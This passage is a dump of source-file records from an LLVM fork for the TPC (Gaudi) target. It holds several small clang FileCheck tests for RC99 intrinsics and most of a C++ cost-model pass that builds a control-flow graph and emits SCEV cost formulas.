0.6351351141929626, "avg_line_length": 36, "blob_id": "fd15be98d19b8bbf260ffa831dca540eb2241db7", "content_id": "42158bca3a3843bae823a0605ce0a13367881ec5", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 370, "license_type": "permissive", "max_line_length": 135, "num_lines": 10, "path": "/clang/test/RC99/Intrinsics/convert_to/convert_short128_to_int128.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -S -emit-llvm -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi %s -o - | FileCheck --check-prefixes=CHECK-IR %s\n\nvoid main(int src, int dest) {\n short128 *sptr = (short128 *)src;\n int128 *dptr = (int128 *)dest;\n short128 src_val = *sptr;\n *dptr = convert_short128_to_int128(src_val, 0);\n}\n\n// CHECK-IR: sext <128 x i16> {{.*}} to <128 x i32>\n" }, { "alpha_fraction": 0.597122311592102, "alphanum_fraction": 0.6258992552757263, "avg_line_length": 22.16666603088379, "blob_id": "50796601ce8d4baedc5ed994ab340ee63218d33d", "content_id": "4de4413b7d56d22bd1790c3179c6305217b8d430", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 139, "license_type": "permissive", "max_line_length": 64, "num_lines": 6, "path": "/clang/test/RC99/driver/reg-mem-count-02.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %tpc_clang -reg-mem-count %s -S -o - 2>&1 | FileCheck %s\n\nvoid main(tensor tensor0, int src) {\n\n}\n//CHECK: Total VLM used: 0 bytes\n" }, { "alpha_fraction": 0.4618473947048187, "alphanum_fraction": 0.5301204919815063, "avg_line_length": 26.66666603088379, "blob_id": "f58ec2189c06226debcf3b99eb64e410a25599e2", "content_id": "1cfb5051d4cd57e8aedc2031f683ade5b2848a1a", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 249, "license_type": "permissive", "max_line_length": 78, "num_lines": 9, "path": "/clang/test/RC99/CodeGen/pred-06.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -triple tpc-none-none -std=rc99 -S -O1 %s -o - | FileCheck %s\n\nvoid main(int src, int pred) {\n int5 ndx = { 0, 0, 0, 0, 0 };\n int64 val = src;\n i32_st_tnsr_i_v_b(ndx, 0, val, pred, 1);\n}\n\n// CHECK: st_tnsr {{.*}}, !%SP{{[0-9]+}}\n" }, { "alpha_fraction": 0.4240052103996277, "alphanum_fraction": 0.47488585114479065, "avg_line_length": 29.65999984741211, "blob_id": "86c38c6eeb1b4760b6e338650d4df7e1a2d2a0fc", "content_id": "233e3e88d087aa441bef4531b02991819521a048", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1533, "license_type": "permissive", "max_line_length": 96, "num_lines": 50, "path": "/clang/test/RC99/Intrinsics/s_i1_mov.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi %s -o - | FileCheck %s\n\n\nvoid main(int dest, int src, _Bool src2, _Bool pred) {\n volatile int __local *dest_ptr = (int __local *)dest;\n \n // s_i1_mov_b\n {\n _Bool res = src & 0x01;\n _Bool x = src2 > src;\n// CHECK-DAG: mov [[DEST:%SP[0-9]+]], %S1\n// CHECK-DAG: cmp_grt.i32 [[X:%SP[0-9]+]], %S2, %S1\n// CHECK-DAG: mov [[PRED:%SP[0-9]+]], %S3\n \n res = s_i1_mov(x, 0, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: mov [[DEST]], [[X]], [[PRED]]\n \n res = s_i1_mov(x, 0, res, pred, 1);\n *dest_ptr++ = res;\n// CHECK: mov [[DEST]], [[X]], ![[PRED]]\n \n res = s_i1_mov(0, 0, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: mov [[DEST]], 0x0, [[PRED]]\n \n res = s_i1_mov(1, 0, res, pred, 1);\n *dest_ptr++ = res;\n// CHECK: mov [[DEST]], 0x1, ![[PRED]]\n\n int xi = *dest_ptr++;\n res = s_i1_mov((xi & 0x01), 0, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: ld_l [[SRC1:%S[0-9]+]], %S{{[0-9]+}}\n// CHECK: mov [[DEST]], [[SRC1]], [[PRED]]\n\n short xs = *dest_ptr++;\n res = s_i1_mov((xs & 0x01), 0, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: ld_l [[SRC2:%S[0-9]+]], %S{{[0-9]+}}\n// CHECK: mov [[DEST]], [[SRC2]], [[PRED]]\n\n char xc = *dest_ptr++;\n res = s_i1_mov((xc & 0x01), 0, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: ld_l [[SRC3:%S[0-9]+]], %S{{[0-9]+}}\n// CHECK: mov [[DEST]], [[SRC3]], [[PRED]]\n }\n}\n" }, { "alpha_fraction": 0.6058134436607361, "alphanum_fraction": 0.6106580495834351, "avg_line_length": 31.238203048706055, "blob_id": "29f06f4176b9b32c3ffb74f61cdd483986727837", "content_id": "8ecdab4f1847721b85796d0245599149556590be", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 28692, "license_type": "permissive", "max_line_length": 83, "num_lines": 890, "path": "/llvm/lib/Target/TPC/TPCCostModelEmitter.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===- TPCCostModelEmitter.cpp --- Cost Model------------------------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n// author: Michael Zuckerman\n// [email protected]\n//===----------------------------------------------------------------------===//\n// TPC-COST MODEL creates a flow graph of the tpc kernel. This is done via the\n// following steps:\n//\n// 1) Build CFG.\n// 2) Compute Graph cycle (Using DFS).\n// 3) Create segmentation according to cycle.\n// 4) Create a source sink graph from the segmented graph.\n// 5) Compute cost bottom up.\n// 6) Save the result to the object.\n//\n// This analysis returns a formula in SCEVGlue language.\n//===----------------------------------------------------------------------===//\n\n#include \"TPCCostModelEmitter.h\"\n#include \"llvm/InitializePasses.h\"\n\nusing namespace llvm;\n\nnamespace llvm {\nvoid initializeTPCCostModelEmitterPass(PassRegistry &);\n} // namespace llvm\n\nnamespace TPCCOST {\n\n// By default cost model must be turned off, because pure compiler (invoked with\n// -cc1 option) is used for running tests, which are not true kernels. The cost\n// model is turned on in driver (llvm/tools/clang/lib/Driver/ToolChain/Clang.cpp,\n// under comment \"TPC Cost Model\") and is activated when user runs tpc-clang.\nstatic cl::opt<bool> dontAnalysis(\"dontAnalysis\", cl::desc(\"Enable graph output\"),\n cl::init(true), cl::ZeroOrMore, cl::Hidden);\n\nstatic cl::opt<bool> debugTPC(\"debugTpc\", cl::desc(\"Enable graph output\"),\n cl::init(false), cl::Hidden);\n\nstatic cl::opt<bool> printGraphB(\"graphOut\", cl::desc(\"Enable graph output\"),\n cl::init(false), cl::Hidden);\n\nstatic cl::opt<bool> TPCResult(\"TPCResult\", cl::desc(\"Enable TPCResult\"),\n cl::init(false), cl::Hidden);\n\nstatic cl::opt<bool>\n CostModelOffset(\"CostModelDetectArgs\",\n cl::desc(\"print function parameters as offset and not name\"),\n cl::init(true), cl::Hidden);\n\nstatic bool isDominator(const SCEV *LHS, const SCEV *RHS, DominatorTree &DT) {\n const SCEVAddRecExpr *LH = dyn_cast<SCEVAddRecExpr>(LHS);\n const SCEVAddRecExpr *RH = dyn_cast<SCEVAddRecExpr>(RHS);\n if (LH && RH) {\n BasicBlock *LHB = LH->getLoop()->getHeader();\n BasicBlock *RHB = RH->getLoop()->getHeader();\n if (!DT.dominates(LHB, RHB)) {\n TPC_DEBUG(LHB->getName() + \" is not dominate \" + RHB->getName() +\"\\n\");\n return false;\n }\n }\n return true;\n}\n\n\nbool LeafType::operator<(const LeafType &CC) const {\n return this->priority < CC.priority;\n}\n\nvoid LeafType::setPriority(nodeType val) {\n switch (val) {\n case nodeType::LOOP:\n priority = 0;\n break;\n case nodeType::SWITCH_BRANCH:\n priority = 1;\n break;\n case nodeType::NODE:\n priority = 2;\n break;\n case nodeType::EXIT:\n priority = 3;\n break;\n case nodeType::LATCH:\n priority = 3;\n break;\n };\n}\n\nvoid CostLeaf::sortChildren() {\n std::sort(children.begin(), children.end(), CostLeafCMP());\n}\n\nvoid CostLeaf::pushChild(CostLeaf *CL) {\n if (CL == nullptr)\n return;\n children.push_back(CL);\n}\n\nbool CostLeaf::operator<(const CostLeaf &CL) const { return type < CL.type; }\n\nvoid CostLeaf::removeFromLoop() {\n bool run = true;\n while (run) {\n run = false;\n for (auto child = children.begin(); child != children.end(); child++) {\n if ((*child)->getType() == nodeType::LATCH) {\n auto val = std::find(children.begin(), children.end(), this);\n if (val != children.end()) {\n children.erase(child);\n run = true;\n break;\n }\n }\n }\n }\n}\n\nstd::string CostLeaf::printHeadLeaf() {\n string retValue = \"\";\n retValue += to_string(MBB->getNumber()); // Node deceleration\n retValue += \" [shape=record, color=\";\n switch (type.getNodeType()) {\n case nodeType::LOOP:\n retValue += \"crimson\";\n break;\n case nodeType::EXIT:\n retValue += \"blue1\";\n break;\n case nodeType::LATCH:\n retValue += \"forestgreen\";\n break;\n case nodeType::SWITCH_BRANCH:\n retValue += \"goldenrod\";\n break;\n default:\n retValue += \"black\";\n break;\n }\n retValue +=\n \",label=\\\"<f0> \" + to_string(MBB->getNumber()); // Number of the BB\n retValue += \" |<f1> \" + to_string(cycle); // BasicBlock cycle\n retValue += \" |<f2> \";\n string retValue2;\n raw_string_ostream stream(retValue2);\n SCEVValue->print(stream);\n retValue2 = stream.str();\n bool noChange = false;\n do {\n noChange = false;\n auto a = retValue2.find('<');\n auto b = retValue2.find('>');\n if (a < retValue2.size()) {\n retValue2.replace(a, b + 1 - a, \"\");\n noChange = true;\n }\n a = retValue2.find('{');\n b = retValue2.find('}');\n if (a < retValue2.size()) {\n retValue2.replace(a, 1, \"\");\n retValue2.replace(b - 1, 1, \"\");\n noChange = true;\n }\n } while (noChange);\n retValue = retValue + retValue2 + \" |<f3> \";\n raw_string_ostream streamN(retValue);\n streamN << LD;\n retValue = streamN.str();\n retValue += \"\\\"];\\n\";\n\n return retValue;\n}\n\nstd::string CostLeaf::printCostLeaf() {\n string returnValue = \"\";\n for (auto &child : children) {\n returnValue += to_string(MBB->getNumber()) + \"->\" +\n to_string(child->getMachinBB()->getNumber()) + \";\\n\";\n }\n return returnValue;\n}\n\nstring CostLeaf::printChildren() {\n string valToReturn = \"\";\n for (auto node : children) {\n valToReturn += to_string(node->MBB->getNumber()) + \"->\";\n }\n valToReturn += \"end\\n\";\n return valToReturn;\n}\n\nvoid CostLeaf::removeSelfCycle() {\n auto remove = find(children.begin(), children.end(), this);\n if (remove != children.end())\n children.erase(remove);\n}\n/// class CostCircle\nvoid LoopCost::pushNodeToLoop(CostLeaf *Node) {\n NodeCircle.push_back(Node);\n length++;\n}\n\nbool LoopCost::operator<(const LoopCost &CC) const {\n return this->length < CC.length;\n}\n\n/*! getLoopCostInScev return the circuit cost in SCEV .\n * This function does it with pass over all nodes connect to the main\n * node.\n */\n\n\nconst SCEV *LoopCost::getLoopCostInSCEV(DominatorTree &DT) {\n const SCEV *first = SE.getConstant(ConstantInt::get(\n Type::getInt32Ty(LoopHead->getBasicBlock()->getContext()), 0));\n if (NodeCircle.size() > 0) {\n for (auto Node = NodeCircle.begin(); Node != NodeCircle.end(); Node++) {\n if (!(*Node)->getTaken()) {\n // In the case of LF doesn't dominate all RH\n if(!isDominator((*Node)->getSCEVValue(), first, DT))\n return nullptr;\n first = SE.getAddExpr(first, (*Node)->getSCEVValue());\n const SCEV *zero = SE.getConstant(ConstantInt::get(\n Type::getInt32Ty(LoopHead->getBasicBlock()->getContext()), 0));\n (*Node)->setSCEVValue(zero);\n (*Node)->setTaken(true);\n }\n }\n }\n const SCEV *LoopCycle = SE.getConstant(ConstantInt::get(\n Type::getInt32Ty(LoopHead->getBasicBlock()->getContext()),\n this->LoopHead->getCycle()));\n const SCEV *LHS = SE.getAddExpr(LoopCycle, first);\n if (LHS->getType() > LoopHead->getSCEVValue()->getType()) {\n LoopHead->setSCEVValue(\n SE.getZeroExtendExpr(LoopHead->getSCEVValue(), LHS->getType()));\n }\n const SCEV *result = SE.getMulExpr(LHS, LoopHead->getSCEVValue());\n return result;\n}\n\nvoid LoopCost::connectCircuit() {\n if (NodeCircle.size() == 0)\n return;\n CostLeaf *RemoveChild = NodeCircle[0];\n CostLeaf *RealNext = NodeCircle.back();\n auto updateRemoveChild =\n std::find(LoopHead->getChildren()->begin(),\n LoopHead->getChildren()->end(), RemoveChild);\n *updateRemoveChild = RealNext;\n auto it = std::find(RealNext->getChildren()->begin(),\n RealNext->getChildren()->end(), LoopHead);\n if (it != RealNext->getChildren()->end())\n RealNext->eraseFromChildren(it);\n RealNext->setCycle(0);\n}\nvoid printGraph(string file, CostTree &CF) {\n int FD;\n std::string Filename = llvm::createGraphFilename(file, FD);\n raw_fd_ostream OS(FD, /*shouldClose=*/true);\n OS << \"digraph before\"\n << \"{\\n\";\n OS << \"node [shape=recode];\\n\";\n OS << \"struct1 [shape=record,label=\\\" < f0 > nameBB | <f1> CYCLE |<f2> \"\n \"COST| \"\n \"<f3> Loop pointer\\\"];\";\n OS << CF.printTree();\n OS << \"}\\n\";\n OS.close();\n GraphProgram::Name Program = GraphProgram::DOT;\n DisplayGraph(Filename, false, Program);\n}\n\nCostTree::CostTree(MachineFunction *MF, LoopInfo &LI, ScalarEvolution &SE,\n MachineLoopInfo &MLI1, DominatorTree &DT)\n : LI(LI), SE(SE), MLI(MLI1), DT(DT)\n {\n TPC_DEBUG(\"Phase1: Begin build cost tree\\n\");\n TPC_DEBUG(\"-----------------------------\\n\");\n valid = buildTree(MF);\n if (!valid)\n return;\n TPC_DEBUG(\"Phase2: Computing graph circle inside cost tree\\n\");\n TPC_DEBUG(\"-----------------------------------------------\\n\");\n sortChildrenByPriority();\n computeCircle(Root);\n TPC_DEBUG(\"Cost tree is ready\\n\");\n }\n\n/// class cost tree\nvoid CostTree::consumeCircle() {\n TPC_DEBUG(\"Consume circle sorting\\n\");\n std::sort(Circle.begin(), Circle.end(), CostLoopCMP());\n if (debugTPC && printGraphB)\n printGraph(\"CFG-\", *this);\n for (auto Node : Circle) {\n const SCEV *LoopSCEV = Node->getLoopCostInSCEV(DT);\n if (!LoopSCEV) {\n isValidModel = false;\n return;\n }\n Node->getLoopHead()->setSCEVValue(LoopSCEV);\n Node->connectCircuit();\n Node->getLoopHead()->removeSelfCycle();\n if (debugTPC && printGraphB)\n printGraph(\"CFG-\", *this);\n }\n TPC_DEBUG(\"END Consume circle sorting\\n\");\n}\n\nvoid CostTree::initVisit() {\n for (auto &Node1 : VectorNode)\n Node1->setVisit(false);\n}\n\nconst SCEV *CostTree::computeCostTree(CostLeaf *CL, DominatorTree &DT,\n string deepADD) {\n TPC_DEBUG(deepADD + \"Working on node\" +\n to_string(CL->getMachinBB()->getNumber()) + \"\\n\");\n const SCEV *val = SE.getConstant(\n ConstantInt::get(Type::getInt32Ty(CL->getBasicBlock()->getContext()), 0));\n\n for (auto child : *CL->getChildren()) {\n TPC_DEBUG(deepADD + \"-child\" +\n to_string(child->getMachinBB()->getNumber()) + \"\\n\");\n deepADD += \"----\";\n const SCEV *val2 = computeCostTree(child, DT,deepADD);\n if (!val2)\n return nullptr;\n deepADD = deepADD.substr(0, deepADD.size() - 4);\n if (!isDominator(val, val2, DT))\n return nullptr;\n val = SE.getAddExpr(val, val2);\n if (debugTPC) {\n string valueR = \"\";\n raw_string_ostream stream(valueR);\n val2->print(stream);\n TPC_DEBUG(deepADD + \"-child-cost\" +\n to_string(child->getMachinBB()->getNumber()) + \":\" +\n stream.str() + \"\\n\");\n }\n }\n\n if (CL->getVisit())\n return SE.getConstant(ConstantInt::get(\n Type::getInt32Ty(CL->getBasicBlock()->getContext()), 0));\n\n CL->setVisit(true);\n\n if (CL->getChildren()->size() == 0) {\n if (debugTPC) {\n string valueR = \"\";\n raw_string_ostream stream(valueR);\n CL->getSCEVValue()->print(stream);\n TPC_DEBUG(deepADD + \"node-cost:\" + stream.str() + \"\\n\");\n }\n return CL->getSCEVValue();\n }\n if (!isDominator(val, CL->getSCEVValue(), DT))\n return nullptr;\n val = SE.getAddExpr(val, CL->getSCEVValue());\n\n if (debugTPC) {\n string valueR = \"\";\n raw_string_ostream stream(valueR);\n val->print(stream);\n TPC_DEBUG(deepADD + \"node-cost:\" + stream.str() + \"\\n\");\n }\n\n return val;\n}\n\nvoid SwitchLeafData::searchAndInsert(const SwitchInst *I) {\n for (unsigned op = 1; op < I->getNumOperands(); op += 2) {\n if (BasicBlock *bb = dyn_cast<BasicBlock>(I->getOperand(op))) {\n std::vector<BasicBlock *>::iterator it =\n std::find(ifList.begin(), ifList.end(), bb);\n if (it == ifList.end()) {\n ifList.push_back(bb);\n }\n }\n }\n}\n\nvoid CostTree::nodeContainsSwitchBranch(const BasicBlock *BB) {\n for (auto switchBB = switchBranch.begin(), END = switchBranch.end();\n switchBB != END; switchBB++) {\n if ((*switchBB)->getBBHead() == BB) {\n return;\n }\n }\n for (auto I = BB->begin(), I_END = BB->end(); I != I_END; I++) {\n if (isa<SwitchInst>(I)) {\n const SwitchInst *SwitchInstPtr = dyn_cast<SwitchInst>(I);\n SwitchLeafData *newSwitch = new SwitchLeafData(SwitchInstPtr);\n newSwitch->searchAndInsert(SwitchInstPtr);\n switchBranch.push_back(newSwitch);\n }\n }\n}\nbool CostTree::isSwitchNode(const BasicBlock *BB) {\n for (auto treeSwitchBB = switchBranch.begin(), END = switchBranch.end();\n treeSwitchBB != END; treeSwitchBB++) {\n std::vector<BasicBlock *> vecIns = (*treeSwitchBB)->getIfList();\n if (std::find(vecIns.begin(), vecIns.end(), BB) != vecIns.end())\n return true;\n }\n return false;\n}\n\nCostLeaf *CostTree::createNode(MachineBasicBlock *VMMB) {\n CostLeaf *workingNode;\n const BasicBlock *BB = VMMB->getBasicBlock();\n if (!BB)\n return nullptr;\n bool notLoop = true;\n if (std::find(BBlist.begin(), BBlist.end(), BB) != BBlist.end())\n notLoop = false;\n BBlist.push_back(BB);\n nodeContainsSwitchBranch(BB);\n int cycle = getBBCycles(VMMB, false);\n workingNode = new CostLeaf(BB);\n workingNode->setMachineBB(VMMB);\n MachineLoop *loop = MLI.getLoopFor(VMMB);\n TPC_DEBUG(\"Working on Basic Block:\" + to_string(VMMB->getNumber()) + \"\\n\");\n if (isSwitchNode(BB)) {\n TPC_DEBUG(\"|---Node is a SwitchNode \\n\")\n workingNode->setType(nodeType::SWITCH_BRANCH);\n workingNode->setSCEVValue(\n SE.getConstant(Type::getInt32Ty(BB->getContext()), cycle));\n } else if (loop && LI.isLoopHeader(BB) && notLoop) {\n TPC_DEBUG(\"|---Node is a LoopNode \\n\")\n workingNode->setType(nodeType::LOOP);\n Loop *Lp = LI.getLoopFor(BB);\n LoopData *val = new LoopData(Lp, &SE, true);\n workingNode->setSCEVValue(val->getLoopSCEV());\n isValidModel &= val->getSCEVStatus();\n workingNode->setLoadData(val);\n } else {\n TPC_DEBUG(\"|---Node is a Node \\n\");\n workingNode->setType(nodeType::NODE);\n workingNode->setSCEVValue(\n SE.getConstant(Type::getInt32Ty(BB->getContext()), cycle));\n }\n TPC_DEBUG(\"|---Number of cycle in the node:\" + to_string(cycle) + \"\\n\");\n workingNode->setCycle(cycle);\n return workingNode;\n}\nstring val = \"\";\n\nbool CostTree::buildTree(MachineFunction *MF) {\n\n TPC_DEBUG(\"Init node list\\n\");\n // Create a list of the basic block\n for (auto &MBB : *MF) {\n if (!MBB.getBasicBlock())\n return false;\n VectorNode.push_back(createNode(&MBB));\n }\n\n if (!isValidModel)\n return false;\n\n TPC_DEBUG(\"Nodes list is ready number of nodes:\" +\n to_string(VectorNode.size()) + \"\\n\");\n TPC_DEBUG(\"\\n\");\n\n TPC_DEBUG(\"Set children list for each Node\\n\");\n for (auto &MBB : *MF) {\n if (!MBB.getBasicBlock())\n return false;\n TPC_DEBUG(\"|---\" + to_string(MBB.getNumber()) + \"\\n\");\n vector<CostLeaf *> val = *VectorNode[MBB.getNumber()]->getChildren();\n for (auto child : MBB.successors()) {\n if (!child->getBasicBlock())\n continue;\n TPC_DEBUG(\"|------Child:\" + to_string(child->getNumber()) + \"\\n\");\n if (std::find(val.begin(), val.end(), VectorNode[child->getNumber()]) ==\n val.end())\n VectorNode[MBB.getNumber()]->pushChild(VectorNode[child->getNumber()]);\n }\n }\n TPC_DEBUG(\"Finish set children list for each Node\\n\");\n TPC_DEBUG(\"Set EXIT and LATCH info for each LOOP\\n\");\n for (auto &Node : VectorNode) {\n if (Node->getType() == nodeType::LOOP) {\n TPC_DEBUG(\"|---LOOP: \" + to_string(Node->getMachinBB()->getNumber()) +\n \"\\n\");\n // TODO: Check what to do when more then one latches and exits\n Loop *Lp = LI.getLoopFor(Node->getMachinBB()->getBasicBlock());\n SmallVector<BasicBlock *, 8> Latches;\n SmallVector<BasicBlock *, 8> Exits;\n Lp->getLoopLatches(Latches);\n BasicBlock *Latch = Latches[0];\n Lp->getExitBlocks(Exits);\n BasicBlock *Exit = Exits[0];\n if (!Exit || !Latch)\n assert(0 && \"Error\");\n for (auto &Node1 : VectorNode) {\n if (Node1->getType() == nodeType::NODE ||\n Node1->getType() == nodeType::SWITCH_BRANCH) {\n if (Node1->getBasicBlock() == Exit) {\n Node1->setType(nodeType::EXIT);\n TPC_DEBUG(\"|------EXIT: \" +\n to_string(Node1->getMachinBB()->getNumber()) + \"\\n\");\n }\n if (Node1->getBasicBlock() == Latch) {\n Node1->setType(nodeType::LATCH);\n TPC_DEBUG(\"|------LATCH: \" +\n to_string(Node1->getMachinBB()->getNumber()) + \"\\n\");\n }\n }\n }\n }\n }\n\n Root = VectorNode.at(0);\n return true;\n}\n\nvoid CostTree::sortChildrenByPriority() {\n TPC_DEBUG(\"Begin Leaf Prioritize children\\n\");\n for (auto leaf : this->VectorNode) {\n TPC_DEBUG(leaf->printChildren());\n leaf->sortChildren();\n TPC_DEBUG(leaf->printChildren());\n }\n TPC_DEBUG(\"End leaf prioritize children\\n\");\n}\n\nvoid allPath::pushToAllPath(vector<CostLeaf *> in_route, int cost) {\n Path *p_Path = new Path;\n p_Path->cost = cost;\n p_Path->path = in_route;\n route.push_back(p_Path);\n if (cost > maxPathCost) {\n maxPathCost = cost;\n indexPath = route.size() - 1;\n setMaxPath(route.at(indexPath));\n }\n}\n\nvoid allPath::setMaxPath(Path *newPath) {\n CostLeaf *runner = begin;\n for (auto element = newPath->path.begin(), end = newPath->path.end();\n element != end; element++) {\n runner->setChildToVisit((*element));\n runner = *element;\n }\n runner->setChildToVisit(end);\n}\n\nstatus CostTree::computeAllPath(allPath* globalPath,\n CostLeaf *current, vector<CostLeaf *> list,\n int costCollect) {\n if (!globalPath)\n return status::LOOPSTATUS;\n list.push_back(current);\n for (auto leaf = current->getChildren()->begin(),\n end = current->getChildren()->end();\n leaf != end; leaf++) {\n if ((*leaf)->getType() == nodeType::LOOP)\n return status::LOOPSTATUS;\n if (*leaf != globalPath->getEnd()) {\n TPC_DEBUG(\"|-----Child \" +\n to_string((*leaf)->getMachinBB()->getNumber()) + \"\\n\");\n if (computeAllPath(globalPath, *leaf, list,\n (*leaf)->getCycle() + costCollect) ==\n status::LOOPSTATUS)\n return status::LOOPSTATUS;\n } else {\n globalPath->pushToAllPath(list, costCollect);\n }\n }\n return status::FINISH;\n}\n\n/*! @breaf computeCircle pass over all the nodes in the tree and add\n * for each node his circle. Graph circle contains all nodes lead from\n * Loop node to himself again.\n */\nvoid CostTree::computeCircle(CostLeaf *CF) {\n TPC_DEBUG(\"|---Enter \" + to_string(CF->getMachinBB()->getNumber()) + \"\\n\");\n for (auto child : *CF->getChildren()) {\n CF->setChildToVisit(child);\n if (child->getChildToVisit() && child->getType() == nodeType::LOOP) {\n TPC_DEBUG(\"|-----Child is a LOOP\" +\n to_string(child->getMachinBB()->getNumber()) + \"\\n\");\n vector<CostLeaf *> list;\n allPath globalPath(child, CF);\n computeAllPath(&globalPath, child, list);\n LoopCost *newCircle = new LoopCost(child, this->SE);\n CostLeaf *ptr = child->getChildToVisit();\n while (ptr != child) {\n TPC_DEBUG(\"|--------Circle\" +\n to_string(ptr->getMachinBB()->getNumber()) + \"\\n\");\n newCircle->pushNodeToLoop(ptr);\n ptr = ptr->getChildToVisit();\n }\n Circle.push_back(newCircle);\n continue;\n }\n if (child->getChildToVisit())\n continue;\n computeCircle(child);\n }\n TPC_DEBUG(\"|---EXIT \" + to_string(CF->getMachinBB()->getNumber()) + \"\\n\");\n}\n\nstring CostTree::printTree() {\n string val = \"\";\n for (auto &Node1 : VectorNode)\n val += Node1->printHeadLeaf();\n for (auto &Node1 : VectorNode)\n Node1->setVisit(false);\n val += printTreeVal(Root);\n return val;\n}\n\nstring CostTree::printTreeVal(CostLeaf *CL) {\n TPC_DEBUG(CL->getMachinBB()->getNumber());\n string val = \"\";\n if (CL->getVisit() || CL->getChildren()->size() == 0)\n return val;\n CL->setVisit(true);\n for (auto child : *CL->getChildren()) {\n if (CL->getChildToVisit() == child) {\n val += \"edge[color = red]\";\n } else {\n val += \"edge[color = black]\";\n }\n val += to_string(CL->getMachinBB()->getNumber()) + \"->\" +\n to_string(child->getMachinBB()->getNumber()) + \";\\n\" +\n printTreeVal(child);\n }\n return val;\n}\n} // namespace TPCCOST\n\nusing namespace TPCCOST;\nclass TPCCostModelEmitter : public MachineFunctionPass {\n\npublic:\n static char ID;\n TPCCostModelEmitter() : MachineFunctionPass(ID){};\n // void getAnalysisUsage(AnalysisUsage &AU) const override;\n bool runOnMachineFunction(MachineFunction &Fn) override;\n void getAnalysisUsage(AnalysisUsage &AU) const override {\n AU.setPreservesCFG();\n AU.addRequired<MachineLoopInfo>();\n AU.addRequired<ScalarEvolutionWrapperPass>();\n AU.addRequired<LoopInfoWrapperPass>();\n AU.addRequired<DominatorTreeWrapperPass>();\n MachineFunctionPass::getAnalysisUsage(AU);\n }\n\nprivate:\n SCEVExpander *SCE = nullptr;\n /*!\n * @param scev contains the SCEV to visit\n * @param functionArgs contains function's arguments\n * @return print helper -> convert SCEV value to printable string\n */\n string printHelper(const SCEV *scev,\n std::vector<const llvm::Argument *> functionArgs);\n /*!\n * @breaf visualization of the present graph.\n * @param file to write the result.\n * @param CF a cost tree to present.\n */\n void printGraph(string file, CostTree &CF);\n /*!\n * @param input string to convert to vector\n * @param Int8Ty llvm type\n * @return\n */\n vector<Constant *> createAString(std::string input, Type *Int8Ty);\n bool isValidCostModel = true;\n};\n\nchar TPCCostModelEmitter::ID = 0;\n\nINITIALIZE_PASS_BEGIN(TPCCostModelEmitter, \"TPCCostModelEmitter\",\n \"TPC Cost Model Emitter\", false, false)\nINITIALIZE_PASS_DEPENDENCY(MachineDominatorTree)\nINITIALIZE_PASS_DEPENDENCY(MachineBranchProbabilityInfo)\nINITIALIZE_PASS_DEPENDENCY(MachineLoopInfo)\nINITIALIZE_PASS_DEPENDENCY(MachineScheduler)\nINITIALIZE_PASS_END(TPCCostModelEmitter, \"TPCCostModelEmitter\",\n \"TPC Cost Model Emitter\", false, false)\n\nnamespace llvm {\nFunctionPass *createTPCCostModelEmitter() { return new TPCCostModelEmitter(); }\n} // namespace llvm\n\nvoid TPCCostModelEmitter::printGraph(string file, CostTree &CF) {\n int FD;\n std::string Filename = llvm::createGraphFilename(file, FD);\n raw_fd_ostream OS(FD, /*shouldClose=*/true);\n OS << \"digraph before\"\n << \"{\\n\";\n OS << \"node [shape=recode];\\n\";\n OS << \"struct1 [shape=record,label=\\\" < f0 > nameBB | <f1> CYCLE |<f2> \"\n \"COST| \"\n \"<f3> Loop pointer\\\"];\";\n\n OS << CF.printTree();\n OS << \"}\\n\";\n OS.close();\n GraphProgram::Name Program = GraphProgram::DOT;\n DisplayGraph(Filename, false, Program);\n}\n\n/*!\n *\n * @param scev SCEV value\n * @param functionArgs contains a function's arguments\n * @return the operator as a string\n */\nstatic string returnOperator(const SCEV *scev,\n std::vector<const llvm::Argument *> functionArgs) {\n switch (scev->getSCEVType()) {\n case llvm::SCEVTypes::scAddExpr:\n return \"+\";\n case llvm::SCEVTypes::scMulExpr:\n return \"*\";\n case llvm::SCEVTypes::scSMaxExpr:\n return \" SMAX\";\n case llvm::SCEVTypes::scUMaxExpr:\n return \" UMAX\";\n case llvm::SCEVTypes::scConstant:\n return std::to_string(\n ((const SCEVConstant *)scev)->getValue()->getSExtValue());\n case llvm::SCEVTypes::scUnknown: {\n string valR;\n raw_string_ostream stream(valR);\n if (CostModelOffset) {\n if (Argument *unknownVal =\n dyn_cast<Argument>(((const SCEVUnknown *)scev)->getValue())) {\n for (size_t i = 0; i < functionArgs.size(); i++) {\n if (functionArgs.at(i)->getName() == unknownVal->getName()) {\n stream << \"%\" + std::to_string(i);\n stream.str();\n return valR;\n }\n }\n }\n }\n scev->print(stream);\n stream.str();\n std::size_t locationDot = valR.find('.', 0);\n std::size_t TPCLoad = valR.find(\"TPCLoad\", 0);\n if (TPCLoad != std::string::npos)\n return valR;\n if (locationDot != std::string::npos)\n valR = valR.substr(0, locationDot + 2);\n return 